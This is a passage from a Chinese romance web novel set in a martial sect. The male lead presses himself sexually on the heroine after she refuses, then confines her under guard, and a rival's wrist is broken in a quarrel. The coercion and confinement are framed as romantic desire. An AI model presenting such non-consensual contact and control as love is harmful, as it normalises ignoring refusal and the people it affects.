“皎皎,”他突然笑了,“你是不是在装傻。” 他那表情,看得南琼霜心里一惊。 凉薄、讥讽、自嘲,像个苦笑着的苍白的鬼。 没等她反应过来,他屈膝上榻,坐在她身侧,一只手撑在她身边,长发往下倾泻。 他那样高,即便是斜撑着自己,歪着头,还是比她高了一截。 拢着她脸侧长发,几乎贴着她耳侧,声音如鬼魅喟叹:“皎皎。” 她真吓了一跳,脸侧雪白皮肤上,霎时起了一些鸡皮疙瘩。 怎么离她这样近。 他这种性格,竟然也允许他自己贴在她耳侧说话吗? “为什么整日跟他混在一处?为什么因为他受了伤也不记恨?为什么被他牵连也不恼?为什么跟着他一次次冒险?为什么纵容他离你那样近?” 声音那样轻,轻得像初春半梦半醒间一场朦胧夜雨。温热的呼吸喷在她耳廓,可是句子又长,细细碎碎,断断续续,简直搔得她身上发痒。 这人今天到底是怎么回事,下山之前,见了她还颔首道一句“楚姑娘”,隔了一天再回来,就将门窗都关了,把她堵在床榻角落里,恨不得咬着她耳朵说话。 “说话。”他语气重了些,“为什么?” 她不知道怎么答,没等她再开口,他又道: “为什么喂他吃枣子?为什么喂了我又再喂他?为什么收下他给的箫?为什么吹他的箫?为什么……” 为什么说,在我成婚那天,跟他成婚? “你们两个是疯了吗?”他眼中混沌戾气和温润清明交锋数回,暴烈情绪在胸中肆虐了好几圈,半晌,只憋出这么一句。 “我……”一向如鱼得水如她,一时竟也语塞,那么远的距离,他竟然听见了? 她不说话,他垂下眼。 喉结滚动数下,五指攥紧了榻上衾被。 五指攥着衾被的样子,他在梦里也见过的。 只不过那梦里,将衾被抓得皱了的,是她,不是他。 非要把他逼上那一步吗? 他轻轻抬起她下颏,像摆弄什么东西一样,强迫她抬头看他。 离得那样近,她几乎被身后的墙扣进了他怀里,这样的距离,沟通似乎已经不需要声音,四目相对,眼睛里是彼此倒影,呼吸都同频,贸然开口,出的声音反而会把彼此吓一跳。 所以,他明白了她沉默的意思。 她不知道怎么解释。 于是,他给了她一个选择题。 他带血的食指,轻柔又爱昵地,在她柔软的唇瓣上揉了一瞬,染上一些他的艳丽颜色。 “皎皎,喜欢李玄白?” 如果她说“是”,他会怎么样? 可是,他那眼神,混乱得几乎濒临决堤,恣意行事如她,一时竟也不敢挑逗。 但也不想说“不是”。太顺他的意,她不甘心。 她垂下睫毛,委屈道:“怀瑾,我想吃荔枝。” 他愣了一瞬,竟然没明白。 片刻后,他无奈道,“这时候吃什么荔枝……”又在她唇上刮了下,起身,打开窗子,往外吩咐。 荔枝很快便送来了。 盛在缠枝莲纹高脚果盘中,堆叠成一座尖尖的小塔,顾止顺手拈了一颗,垂着长睫,骨节分明的手,一片片剥着荔枝皮。 她忐忑望了一眼,是给她剥的吗? 她故意道:“之前在凌绝阁……” 微凉又柔软的荔枝霎时顶在她唇侧,他不凉不热地问:“怎么?” 唇上是他的腥气,她眉头皱了一瞬,“有血。” 他食指将荔枝顶进她唇间,不由分说:“吃下去。” 她心里咯噔一下。 这人……怎么越来越怪了。 莫名其妙地划伤了自己,又揉她的唇瓣,她本以为那是个暧昧动作,现在一看,或许是故意把他的血抹在她唇上,还要她吃下去。 那样温柔矜雅的人,怎么竟然…… 她这时才发觉,她把这顾怀瑾想得太简单了。 他这人,温润和善是不假,但在那正人君子一面的背后,或许有些从未显露给他人的东西,既不为人所知,或许也不该为人所触碰。 可是,晚了。 她已经碰了,甚至还玩弄了起来。 “好了,皎皎。”他声音轻轻,“现在可以说了吧?” 她口里咀嚼着,心里千百个念头闪过。 他忽然伸了一只手,搁在她下巴颏底下。 垂着眼:“核。” 她心里一跳,乖顺将那黑亮的果核吐了出来。 旁边就是瓷盘,他竟然没扔,把那圆鼓鼓的核收入掌中,摩挲把玩。 她看着他手掌里那些晶亮水渍,一时竟然也感觉耳尖烧了起来,闭了闭眼。 虽然她自己也没料到形势会转变得如此之快,但今日,那一个吻,或许她可以拿到手。 “公子想要一个答案?”她笑吟吟。 “怀瑾。”他又攥紧了她的衾被。 “我不知道什么是喜欢。”她一双眼睛,在昏暗室内闪着光,亮得兴致盎然: “是像公子对我这般吗?” 他垂下眼,身子绷紧得如一张拉满了的弓,艰难喘息着,不说话。 不回答? 她心里笑,如果你不答,那永远也不会等到我的答案。 她忽然惊道:“公子,小虫。” 凑过去,在他垂落的长发中间,滚动的喉结附近,轻轻地,吹了一瞬。 忽然,一切静止。 空气中浮尘凝固,窗外虫鸣消散,心脏停跳心弦崩断,唯有血流涌入脑子的声音,震耳欲聋。 他被血和热的潮汐卷走淹没,再有意识的时候,花一样的人已经在他身下,长发云团一般委在榻上,泪光点点,喘息连连,惊慌地拢着衣领: “公子,你这是做什么……” 他脑子里空了一秒。 那个梦…… 那个梦,就是这般。 两手撑在她身侧,他深深喘息着,那样温雅的人,竟然也有呼吸粗重如野兽的一天。 南琼霜不安地吞咽了一下,今日这一切,进展是有些太快了。 可是,到这一步,他有那个胆子吗? “怀瑾……”她双唇开合,这时才发觉,方才她拿在手里把玩的李玄白的扇子,掉在她胸口,如今在两人之间,硬硬的,硌得难受。 并且……硌着她的,甚至还不止这一把扇子。 那样炙热滚烫,她连呼吸都僵住了。 她都感觉到了他,他怎么会感觉不到。 他如今,竟然有胆子不躲开。 她几乎不安到发起抖来,他今天是疯了吗? 今天不能那样做。不是该这样做的日子。没名没分的,直接到了最后一步,男人清醒过来便会对她失去兴趣,男人向来如此。 她挣扎起来:“怀瑾,你放开我……” 他不动,只是压在她身上,双 肘撑在她身侧,伏在她颈窝的长发里,埋着头,深深嗅闻着。 一呼、一吸。一呼、一吸。 男人的喘息。 她不是第一次听见。那种整个胸腔都几乎蜂鸣起来的粗烈的喘息,代表欲望,代表沉沦,代表人已经无可奈何地滑入了蚀骨的沼泽,唯一的生机,是她的一片裙角。 她喜欢男人为她不堪,为她受折磨,一时竟也迷恋上了这种危险,双手向上,抚摸过他背脊,缓缓搂住。 今天,她不要。但多喘会,她喜欢听。 他一时竟然更加僵住了,难以自控地颤抖起来,唇抖得更是厉害,吞咽着,在她脸侧茫然逡巡。 看不见他的神色,只有他的长发,蹭在她脸侧。 许久,他道: “对不起,皎皎。我今天……我也不知道我是怎么了。” 她一时竟然得意忘形,笑着,“这还不知道吗?” “如果你知道……”他又吞咽了一下,从她颈窝里抬起来,额头顶着她的额头,阖着眼睛,“如果你知道……那……救救我吧。” 她笑,“不救。” 他几乎是闷哼了一声,竟然沉了腰。 她倏然感觉那方才还只是搁在她身上的东西,竟然毫无阻拦地顶在了门户,隔着衣衫,灼如火烧。 她一下子清醒了。 他真是疯了,他今天真是疯了。 不只是他,她今日也是玩心太重,几乎将自己玩进去了。 她道:“怀瑾,不行。” 他声音低低的,“皎皎,求你。” 她问:“你知道你自己在说什么吗?” 他沉默许久,垂着长睫,额头缓慢缱绻地蹭着她的额头,鼻梁也相互摩擦,那一双茂密的睫毛,擦在她眼下,竟然带着淋漓湿意。 正如她的身体一样。 他垂泪,哀哀道: “皎皎,对不起。” “但是,我不行。” 第56章 竟然又往前□□了一下。 她不想要。她已经拿定了主意,今天不是该到这一步的时机。 脸上忽然砸了两颗水珠,温热的,一瞬碎溅开来。 她的心抖了一下,“哭什么?” 他睫毛颤抖着,扑闪下来一点晶莹的泪,没说话。 只是竟然缓缓地,退开去,隔着衣衫,又再顶了她一下。 真是疯了。她闭上眼睛,只感觉有些地方灼热得实在太过分,简直难以忽视。 但是,她说了不要,就是不要,没有人可以强迫。 她两腿有点恼恨地一夹。 他几乎哼了一声。 只是那声音,竟也不知是痛苦,还是享受,抑或渴求。 那一声之后,他脸上简直红得要滴血,叼着自己的唇,简直不止是想使自己噤声,几乎试图用这种方式自虐。人如缺了氧一般,伏在她身上都支持不住,打起晃来。 五指发狠攥着衾被,“皎皎……” 她轻声道,“公子,你抓到我头发了……” “什么公子。”他苦笑着,落寞地嘲,“现在,还配得上那两个字吗?” 他神色那样哀凉,她一时怔住了。 怎么?“情难自控”四个字,在他那是死罪吗? 他忽然低下头,望着近在咫尺的那两片娇嫩的、折磨他已久的唇。 别的事情他都不顾,道德、责任、底线,他一时竟然全不想在乎。 其他的东西,现在去想,也已经太晚了。 那两片唇。 是她先来招惹他的,不是吗? 她如果知道,他是如何把一腔暴烈情绪,婉转化为一个吻,那么,她已经应该感激。 望着他骤然浑浊茫茫的眼神,她有一种预感,心领神会地阖了眼。 今天,那一个吻,终于要得手了吗? 那个,不仅向她承认,也向他自己承认,象征迷恋和臣服的,一个吻。 他喉结滚动一瞬,引颈就戮地垂了眼睫,低下头,寻她的唇。 她唇角勾起一丝微妙笑意。 可是,等他的触碰,却等了许久,未等到。 她睁开眼,顾怀瑾正停在她唇侧,半寸之内的地方。 他伏在她身上,双眼已经睁开,良久,出神似的,轻轻问: “皎皎。你愿意……留在山上吗?” 她怔住,几乎有一瞬间的恼恨。 这个问题,不能是请求。 他逼她留,她就会留。 但是,如果只是,“你愿意吗”? 她怎么能说“愿意”?明知这山上人都在怀疑她,岂非将细作两个字写在脸上了。 她最后一次提醒,“公子想我留吗?” 他沉默许久。 不知过了多久,他闭上眼,埋入她颈窝:“我怎么可以想。” 她气笑了,“那究竟是想还是不想?” 这一次,沉默无限延长,长到她耐心耗尽。 她推开他,把方才一直硌在她胸口,硌得她生痛的扇子拿了出来,心烦气躁道,“起来。” “皎皎。”他抱住她,再压回来,不准她动。 她将那把扇子哗地一声打开,又哗地一下阖起,烦得几乎想朝他太阳穴敲下去。 “公子不是说好了,只强求我一回的吗?我跟着回来了,如今还要做什么?” “你不能这样,皎皎。”他几乎是在……求,难受得又哼了一声,“我很……痛。” “跟我说这做什么?我是能帮你?”嘲讽到一半,忽然发觉忘了装纯,假模假样道,“哪里痛?” 三个字,又把他问住了。 她摇着扇子冷笑,这时候诉什么苦?她倒是敢问,他敢答吗? 他忽然道,“不准收李玄白的东西。” 这话一说,她将那把扇子摇得更开心了,将他推开一点,把那扇子展开了,搁在下巴上笑。 “公子喘得这样厉害,得找屈术先生回来看看。至于痛呢,”笑了一声,“也得找屈术医医。”自己找的,没人管你。 不知为何,他这回竟由着她把他推开,发着抖,沉默。 她敏锐地察觉,他……有点不对劲。 忽然,手中的扇子被劈手夺了过去,唰地一下打开,按在她唇上。 未及反应,他闭着眼,垂首轻落一个吻。 隔着那把扇子。 流光溢彩的贝母扇面,微微倾斜一瞬。 她愣了,一时竟不知道该如何回应。 他离开她,不顾她讶异神色,对视一眼,又阖了眼帘。 那一刹那的对视,她几乎被烫了一下。 简直是……融化了的糖浆一般的,眼神。 缱绻、黏稠、灼热、甜到无法承受。触碰的一瞬,与其说是甜蜜,不如说是灼痛。 愣怔间,隔着扇子,又是一个轻轻的吻。 他低低地、喃喃地唤,“皎皎。” 她懵了,这算什么? 只听见他隔着扇子,一下一下,在她唇上轻啜。 “皎皎。” “皎皎。” “皎皎。” 吻一下,便唤一声她的名字。 不能不碰她,他忍不了。 但是,他们没有未来。 他告诫自己,到这一步,最多了。 她望着天花板,愣愣地想,这算不算一种自欺欺人? 恍惚间,她竟然想到了一件事。 她微侧开头,那扇面便支在她鼻尖上跟着倾斜,“……这是人家李玄白的扇子。” 他笑了一声,“那又怎样?他的反而最好。”将扇子又摆在她唇上,垂眸吻下去。 “你这样子,我还怎么还给人家。”她轻笑着躲开。 他垂着眼睫追过来,什么也不管,只是轻吻,“就这样还。”他道,“他会喜欢的。” 他今天到底发的什么疯啊。 她将他推开,扇子倏地一合,放在脸 侧。 他果然不敢再造次,两手撑在她身侧,目光沉沉,然而又有些委屈不甘地,怨了一句:“皎皎。” 那语气,意思是,为什么不给我亲了? 她笑,“玄白公子也是我的朋友。借来的东西,自然也得宝贝一下。” “‘也是’?”他方有些舒心,一提这个名字,竟又将那扇子抢回来,甩开了按在她唇上,闭着眼落下。 她唇上抵着扇子,他的吻一落下,扇缘便压下一瞬,他离开,扇缘便又翘起。一起一落,不断压在她鼻尖上,那扇缘略带了一些镂空花纹,久而久之,竟然磨得她有些痛。 她在他怀里,竭力把头偏开,使那扇子无论如何也无法摆在她脸上,带点嗔怨的:“怀瑾——!” 他依然尚未餍足,同样嗔怨的:“皎皎……” 她叹了口气,“明天。” 他默了一瞬,急切道,“明天也可以?” 他心急,她便觉得有趣:“不可以。” 一瞬间,他说不出话,颤抖着喘息。 忽而又俯下头压住,去啄她,“此事我说了算。” 她喘了一口,他压在她身上太久,她几乎已经喘不匀气,把他强拨开一些,“好了,怀瑾,不闹了。明天。” 闻言,他抬起头,看了她半晌,仔细分辨她神色。 看着他,她竟然发觉他的脸上,疑虑茫茫,脆弱又无措,心里一动,手抚上他的脸,摩挲着。 是啊,她才明白他今日为何如此不安。 他今天,失控得太过,已经收不了场。 她摸着他的脸,手轻轻在他湿润双睫上擦了下,几乎是安慰,“没关系。” 他忐忑道:“没关系吗……今天?” “嗯。” “你不生我的气?”他又伏下来,深深拥住她。 “嗯。” “你说好了。这就算答应了我,皎皎。”他两只胳膊一同垫到她后背下,将人收进怀里,大拇指摩挲着她肩头,额头贴着她太阳穴,“然后,明天呢。” 她叹息,“我喘不上来气了,怀瑾。” 他终于依依不舍放开她,缓缓挪去一旁,坐起了身子。 那灼热的东西终于从她身下离开,她竟然感觉凉了一瞬,一下竟也不知是懊恼还是羞耻,长吸了一口气,坐了起来。 可是,屋里太昏暗,她方才被压得太久,竟然还是感觉闷窒,她道,“开窗吧,好闷。” 他不理:“明天呢?” “开窗。” 他不依不饶,“李玄白算你的朋友,那我如今算什么?” “也是朋友。”她笑,“开窗。” “朋友?”他又发起抖来,眼尾染上暧昧红意,“我们这样……也算朋友?都已经这样……你跟他也这样过?” 她愉悦笑了一声。他怎么这么好玩啊。 “开窗。” 她避而不答,他再神志不清,也已经知道答案。 他垂下头,吞咽了一下。 “开窗?”他笑起来,不知为何,声音那样柔,听起来却阴恻恻的,“皎皎想开窗吗?”伸出手,从背后缓缓地、不容反抗地,张开手臂,从她胸口合握而过。 他后背那样宽阔,她整个落入了一个安稳怀抱里,四面八方被他拥在中间,动弹不得。 然后,那个坚硬灼热的东西,再次顶在了她的……身后。 意义不明,语焉不详。 她全身都僵住了。 两人沉默,心知肚明。 他微微退开一些,在她耳边徐徐喘着,又缓慢而沉着地,忍耐着,重重顶了她一下。 她一口气简直上不来,也喘了一声。 他紧搂着她,把人按在自己怀里,垂首磨蹭她汗湿了的额角,喃喃:“开窗?”顶着她,阖着眼,“还想开窗吗……?” 顶一遍,喘息着,问一句: “……想这样开窗吗?皎皎。” “愿意这样开窗吗?……皎皎。” “皎皎……究竟是谁不愿意开窗?” 第57章 她终于发觉,事情似乎真的失控了。 浑身发抖的那个,终于变成了她。 她颤声道,“你不要得寸进尺,顾怀瑾。” 他发觉她在哆嗦,愣了一下,“冷吗?抱着也冷吗?” 这不是冷。 她自己也难以承认,她竟然在害怕这个初出茅庐的男人。 人心难以直视,玩火者引火自焚,她今日做得过了。 她终于服了软,“不是朋友,他不是。怀瑾……不要这样。” 可是太晚了,已经给他尝到了一点滋味。那一点点,就足够他整个人变了质。 他搂着她,声音闷闷的,没有动弹。 “皎皎,我喜欢这样。再让我抱一会。” 你真的只是在抱吗? 嘴上老实,实际可没有停。 顾怀瑾在骨子里,竟是这样的吗? 她无奈道,“在山下是怎么了,受委屈了?怎么回来就变了个人?” 他没有说话。 是在山下受的委屈吗? 是在山门口那棵树底下受的委屈。 也怪他常年练武,听力太好,听了两句,恨到现在。 他搂着她,“在山上还好吗?有没有人为难你?” 她笑了一声。 “还好吗”? 慧德想杀她呢。 他道,“吐了血是怎么回事?李玄白有没有找大夫来给你看看?” “昨天的事,昨天就好了。” “哪里有这样简单?又是这个样子,病了痛了也不在意。什么时候能多爱惜自己一点?我不在,这么大的事,是不是就这样过去了?” 她道,“你不要这样大惊小怪。”又道,“好啦!不准动。” 他终于停了下来,方平息下来的心火,竟然又燃了起来,“什么叫大惊小怪?” 她想,如今顾止至少该是信她的,于是道,“其实,并不是身子不好。那日,李玄白出去练功,慧德长老唤我过去谈话,在他那里,喝了一盏茶。” “师叔?” 她点头,“喝了那杯茶,便觉得哪里不对,呕血不止。幸而李玄白有什么奇怪的药,给我吃了下去。” 室内杳暗,他在沉沉的阴影里,沉默许久。 终于,他道:“我早知道,师叔……他不喜欢我喜欢你。” 她眼睛眨了眨。 如今,这种话,他竟然也说得从容了。 他叹了口气,吻了吻她发顶——没有隔着东西,他也就只敢吻她的发顶,低低道: “皎皎,害你受苦了。” 她靠在他怀里,垂着眼,手指不自觉地勾了一下。 顾怀瑾,是一个会让人心安的人。不管是怀抱,还是声音,还是哪怕强迫着人、都依然温柔的神态。 被他拥在怀里,好像暖春时节,流水潺潺,一个人在落花下的躺椅上睡午觉。 懒散、舒适、自在、安心。 她叹了口气,往他怀里依偎了一些,“谈不上。”又想逗他,“这么说,公子喜欢我吗?” 他又噤了声。 她知道,他不会承认的。她方才没有讲她愿意留,那么,他再爱她,也不会开这个口。 但她总有办法,笑着仰头,摸了摸他的脸:“不说话,是不喜欢?” 他又吻了吻她的长发,“皎皎,别气我。” 她在他怀里,咯咯笑了起来,“你以为,你不回答……”不回答,就能当没有吗? 他死也不想破的戒律和底线,一早就破了。到了现在,还说这些做什么? 顾怀瑾叹了一声,两只胳膊环着她的腰肢,又收紧了一些,伏下头,额头搁在她颈窝里。 被他搂着,她后背和腰间一股融融暖意,靠着他,身上几乎有些乏,打了个哈欠,“自欺欺人。” 他有点闹脾气似的,又箍了箍她的腰。 “皎皎。” 委屈兮兮的语调,她简直难以想象,人前,他是那样一个光风霁月、面面俱到、待人接物滴水不漏之人。 她笑个不停。 他懊恼着转了话题,“别笑了。皎皎,这些日子,就好好呆在房间里,哪里也别去了。” “为什么?” “师叔的意思已经那样清楚,这山上对你而言已经太危险。” “那也不能整日闷在屋里不见人啊。” “见人?你才刚呕了血,又要见什么人?”他从她颈窝里抬起头来。 她知道他在紧张什么,觉得有趣,故意不答。 他从背后搂 着她,手又收紧两分,“见谁?见什么人?说话。” 她笑,“谁呀,我不知道你在问什么。怎么这样凶?” “皎皎……”他垂下头,额头依恋地磨蹭着她额角,闭着眼,喃喃,“不准见。除了我,谁也不准见。” 方才,他怀里实在太舒适,她在他怀里依偎着,竟然不由自主越陷越深,眼下,几乎已经躺在了他怀里。 他由着她疏懒靠下去,稳稳将她接住,坐在榻上,像哄小孩子似的,低下头,又去啄她的发。 “不准见人,不准出去,在这里陪我。” 她又打了个哈欠,懒洋洋,“我不。” 他神色未动:“那就只好将皎皎关起来。”又吻一下。 她笑起来,没当回事。 他事事大度,要关她,不过说说而已。她不信他竟是那种偏执成性的男人。 “这些日子,皎皎就给我待在这房间里。不准出去,哪里也不准去。”他搂着她,拿起她的一缕长发,贴在唇上细细地吻。 说这话的时候,语气也那样温柔。 她在他怀里慢悠悠又打了个哈欠,用他的袖子蒙住脸,闭上眼睛,懒得理睬: “神经。” 醒来的时候,人已经不见了。她自己一个人躺在榻上,厚厚衾被几乎拉到了人中,连被角都掖得严丝合缝。 房间里,她的东西已经全部拿了回来,原样归位,仿佛凌绝阁那几日,只是一个梦。 她推开衾被坐起来,穿鞋下榻。 推开门刚欲出去,竟险些撞在一堵莫名其妙的白墙上,定睛一看,竟然是一排人高马大的大汉。 她惊了一瞬,“这是做什么?诸位是?” 为首的李忠朝她一抱拳,“属下奉少掌门的命令,护卫楚姑娘安全。” 护卫她的安全? 未免有些太过了,她有点无奈,“……好吧。”微微颔首,算作道谢,便侧了身想从众人中间穿过去。 李忠却一个跨步,窜到她面前将她直接挡住:“少掌门吩咐过,不准姑娘出门。” “不准出门?不是不许我出院子?” 李忠颔首:“少掌门的命令,确实是不准姑娘出门。说姑娘体弱,中毒未愈,不准见人,也不准走动。” 她愣了片刻,竟不知说什么好。 真将她关起来了? 这跟软禁有什么区别? “少掌门可有说过为何要如此?” 李忠摇头,“只是说因为姑娘体弱。” 她体弱又不是一天两天,何至于此? 她无可奈何道,“……好吧。” 回身,又进了屋,将窗一扇扇打开了,坐在窗下桌前,撑腮看着天。 她刚上山时,正是山花烂漫时节,院里的落花一日不扫,便能堆积厚厚一层。到了今日,已是初夏,天气炎热,该落的花也已落尽了,唯有郁郁葱葱的绿叶。 日头正好,树叶发着光,风一吹过,片片闪动如浪。 她望着天空,心里错愕,想,当真是没想到。 这种事情,她也不是没经历过。此前的一些男人,被她蒙着眼睛玩弄于股掌之间,也有爱出这一招的。将她囚在暖阁内,或者绣楼里。不准人见,也不准见人。 只是那些男人,往往暴戾多疑成性,偏执无比,抓了她便不肯放手。 顾怀瑾这样的心性,怎么也跟她来这一套? 或许,这人比她想的,还要更……奇怪一些。 这时,院门吱呀一声开了。 她刚想过去问个明白,却见那两扇门中间进来的人影,纤瘦窈窕,是个女子。 宋瑶洁。 她悄然无息地将窗小心关上。 无人敢拦,宋瑶洁两三步径直走到她门前,望着门前一排侍卫皱了眉。 “你们在这做什么?让开,我有事要问她。” 李忠的声音隔着门传来:“回大师姐,少掌门有令,楚姑娘中毒未愈,不准任何人求见。” “连我也敢拦?”宋瑶洁冷道,“让开。” 李忠恭敬垂首,寸步不挪。 “我是奉师父之命前来拿她。”宋瑶洁本就不耐,眼下脸色更冷,“这样大的事,你们竟也敢拦?连他自己,都惹怒了师父,在菩提阁自身难保。还不快让开!” 李忠等人只是沉默应对,并不让步。 宋瑶洁怒极冷笑,不过她到底不是李玄白那样无法无天的性子,做不出拔剑硬闯的事,于是唤来院中的阿良:“去禀报师父,就说,顾怀瑾为了这个细作女人,竟还玩起了金屋藏娇这一套,不准我进去拿人。” 阿良:“这……大师姐……” 宋瑶洁大怒:“我的话你也敢不听?!” “大师姐。”树下的窗忽然被推开了,露出里面一张惊怯面孔,南琼霜咬着唇,隔着窗与她相对,“敢问大师姐,公子怎么了?” 宋瑶洁冷哼一声,走到她窗下。 她这时才发觉,宋瑶洁虽然依旧一派强硬倨傲之色,眼圈却微微泛红,鼻尖也红着,似乎是刚刚哭过。 “顾怀瑾?你也好意思问!”她道,“衡山派掌门之女追上了山,不论如何要他给一个说法,眼下师父正在菩提阁大发雷霆。你以为你还有几日好日子?” 第58章 衡黄上山来了? 早就听李玄白说这位大小姐任性娇纵,作天作地,恐怕也真不是浪得虚名。 她笑道:“可是,公子拒绝了衡小姐,同我又有什么关系?难道公子对我……” 余下的话,意味深长地止住了,只是温和笑看她。 宋瑶洁只觉得胸口一股火骤然烧到胃里,简直要将五脏六腑一同烧成焦黑,怎么?这个细作女人靠卖眼泪骗了他,竟然还在这里装无辜?! 他对她究竟是怎样,为了一个她做过多少蠢事,长了眼睛的都能瞧出他的心思,结果这个居心叵测的女人,竟然还敢在这里装不知情?! 她道:“我奉师叔之命来拿你。滚出来!” 南琼霜在花窗里笑:“可惜奴婢出不去。” 那种笑,越看越碍眼,宋瑶洁怒得简直抖了起来。 半晌,在门前不肯让步的侍卫面上逡巡一圈,冷笑起来,“好,好。都是顾怀瑾的好侍卫。我倒要瞧瞧他还能护着这女人到什么时候!” 说完,拂袖而去,沉重院门被摔得“砰”一声巨响。 南琼霜在窗前看着,手握着窗棱,微微收紧。 顾怀瑾又被罚了。晚上是不是还会来找她? 深更半夜的,人脑子总是不清醒,今天晚上,说不定还能再诱使他说点好话。 她垂下眼眸,一笑,坐回桌前。 没清净多久,院门却又开了。 这回进来的,竟然是个陌生面孔,披了一身栀子黄撒花鲛纱外裳,里头一条月白襦裙,发上一对翡翠珠花,微微一动,垂落的珠子便跟着摇晃。 宋瑶洁跟在她身后进来:“衡小姐……!” 衡黄甚至没有回头看她一眼,跺着脚道:“我倒要看看这是个什么女人,竟然叫瑾哥哥为了她下我的面子——”旋风一般,两三步就冲到了她门前:“里面是不是瑾哥哥带回来那女人?让开。” 李忠抱拳:“敢问姑娘是?” “衡山派掌门之女衡黄,慧德长老的外甥女。”字吐得仿若流弹,显然是没有一点耐心。 “楚姑娘中毒未愈,奉少掌门的命令不准人见,还望衡小姐体谅。” “体谅?”衡黄笑了一声,五个染了蔻丹的指头张开,抡圆了胳膊二话没说抽在李忠脸上,“让开!还要本小姐再说一次吗?!” 宋瑶洁都没敢动手,这可真是无法无天,南琼霜躲在窗子后,饶有兴致地想。 “衡小姐……” “让开!”又是一记骇人的耳光。 连宋瑶洁也上来劝:“衡小姐,请勿动怒,不如找怀瑾好好把话说开……” “说开?”衡黄朱唇勾起,“瑾哥哥是瑾哥哥,这女人是这女人,我今日非给她点颜色不可!” 女人因为吃醋找上她的门,这种事情,她向来觉得有趣,于是推开窗,“衡小姐想见我?” 是时,落花已尽,窗前唯有一树繁茂翠绿的叶浪,那打开的花窗里坐了一个人,撑着腮,貌如嫦娥,眉眼含笑,眼尾俏而媚地上钩起来,清冷而勾人。 那一眼,衡黄便跳起脚来:“果然是下山来的狐精!没安好心的贱货!没皮没脸的东西,竟也不害臊!” 骂得难听,然而宋瑶洁爱听 ,于是沉默着没管。 南琼霜在花窗里笑了下,她不喜欢为了个男人争风吃醋,也瞧不上为了男人争风吃醋的女人,于是笑而不语。 “说!短短月余,究竟用了什么法子哄骗了他!我同瑾哥哥自小青梅竹马私定终身,你算什么东西,竟然胆子大到这地步,抢我的人!” “我们感情那样好,十余年不见,他也忘不了我,你竟敢从中作梗!向来只有我衡黄抢人东西,没有别人敢抢我的!给我滚出来!区区一个船娘,真是给了脸了——” 南琼霜温和笑看了她一眼,平静将两半窗关上了。 你们感情好? 甚至不曾听他提起过你。 窗外衡黄怒得歇斯底里:“狗东西!敢装着没瞧见我?!谁给的你胆子!滚出来!!” “不是,”忽然一道叹息,李玄白的声音从屋檐上传来,“哪来的野妇,泼成这个样子,在家待着就得了,别出来丢门派的脸了。” 脚尖轻点,他抱着肩膀,轻飘飘落了地,小红耳坠在日光里闪了一瞬。 衡黄不曾见过他,见他从天而降,一时愣了。宋瑶洁却知道今日这两人碰见大致会发生什么,悄无声息地,往一旁退开半步。 南琼霜一时头痛,眼前这女人是山上贵客,闹得过火了,事情就全算在她头上,于是开了窗:“你别——” 李玄白正跟衡黄相互打量,一个剑拔弩张,一个不屑一顾,两方彼此睨了一阵,大约是嗅出一些同类的味道,竟然一同嫌弃又厌恶地冷哼一声,偏开了眼。 “唷,这是怎么了,”他望了一眼门口侍卫,走到她窗下,笑,“还把你关起来了?防谁呢?”看了衡黄一眼,“有个这么泼的,还有闲心惦记你哪?” 南琼霜摊开手:“我也不知他发的什么疯。” 衡黄:“你再敢说一遍?!”竟敢直接奔向李玄白身后,抓着他的马尾,狠狠往下一扯,右手当即又要扇来,“当真是放肆!” 李玄白竟被拽得狼狈仰头,回身看着她。 南琼霜心里咯噔一下。 她从未见过李玄白那个表情。 “对,”李玄白猛地回身擒住她那只空中的手,轻声笑道,“……可当真是放肆了。” 南琼霜:“你别……” 李玄白只是笑着,手上使力。 令人毛骨悚然的“嘎嘣”一声。 ——那是骨头碎裂的声音。 衡黄尖叫起来:“痛!痛!!” “痛吗?”李玄白猛地甩开她的手腕,嫌弃不已地擦着手,“痛就对了。滚。” 宋瑶洁大惊,忙上前来,“李玄白!这样没轻没重!衡小姐是……” “是什么?”李玄白回身冷嗤,“告诉你,少来她这里撒野,老子见你一次揍一次。” 南琼霜在窗内,看得几乎敬佩。 当真是恶人自有恶人磨啊。 李玄白走到她窗前,纵身一跃,没等李忠等人奔来,已经从窗跳进了屋,将窗一关。 衡黄的尖叫哭喊顿时隔绝在外,李忠等人在外头苦口婆心地唤,李玄白轻车熟路自己找了个地方坐,顺手从床头高脚盘中拈了颗荔枝,自己接着瓷盘剥着。 “上回我说跟我一同下山,你考虑得怎么样?” 南琼霜坐在他身侧,将一颗荔枝放入掌中把玩,没说话。 李玄白笑:“你不愿?” 这人性格实在难以控制,小事上或许可以招惹,大事上她也不愿针锋相对,于是含糊问:“什么时候?” “大比之后。这山上我是待不下去了,非回去不可。”他在椅子上伸了个懒腰。 “回去?”她仔细打量他一圈。 李玄白意义不明笑了下,没多解释。 那一个懒而蔑的笑,南琼霜更加确认,这李玄白,身份绝对不会简单。 “我跟你一同下山……下了山,也在一处?” “自然。”他忽而眼神沉沉盯着她,“不然你想跟谁?” 这个问题,一个时辰没到,两个男人一共问了她三四遍了。 她道:“你下山,不需服用忘忧散吗?” 李玄白靠在椅背上,翘起两根凳子腿悠悠晃着,“我?你们其他人非用不可。我?谁敢。” 语气这样狂妄,南琼霜不由瞧了他片刻。 下山,是绝不能的。 但是倘若李玄白要下山,此后她在山上,就无棋可用,难免捉襟见肘。 刚巧,她在山上所剩的时间也不过月余,大比也恰在一月之后。 倘若余下这一个月里,她仍然没等到她需要的东西,不若用这个由头,最后逼顾怀瑾一把。 她垂下眼睫,抠出荔枝断梗,剥着皮,“好吧,那便同走。” 李玄白打了个响指,得意一笑起了身:“我这就去告诉那个窝囊废。” “等下。”一同下山,是她最后的有备无患,何必用的太早,她笑道,“若是他知道得太早,整日想法子阻拦我,岂非节外生枝?不如等快下山前,再告诉他,免得麻烦。” 李玄白闻言,一笑,“要这么说,也对。行。”打开了窗子,无视外头衡黄的哭喊,回身对她道,“本来他将你强行带走,我窝着一肚子火呢,眼下舒坦了。你安心睡几天觉,少跟他讲话。我这两日练功,忙。” 南琼霜讥诮笑起来:“忙起来就顾不上我了是吧。别忘了,你若赢了——” 李玄白已经踩上了窗棂,曲着身子钻了出去,高马尾一晃一晃,朝她摆手:“哎,记得,记得。我这人向来——”话猛地一顿,同刚巧推门进院的顾止深深对视一瞬,霎时换上一副冷蔑神色,白了一眼,走开了。 衡黄见他进来,如蒙大赦,哭嚎着往他怀里钻去,“瑾哥哥——” 顾止默了一瞬,一时竟辨不明神色,面无表情侧身一躲,眼里仿佛只有她,径直向她窗下走来。 声音和悦: “皎皎,他赢了便如何?” 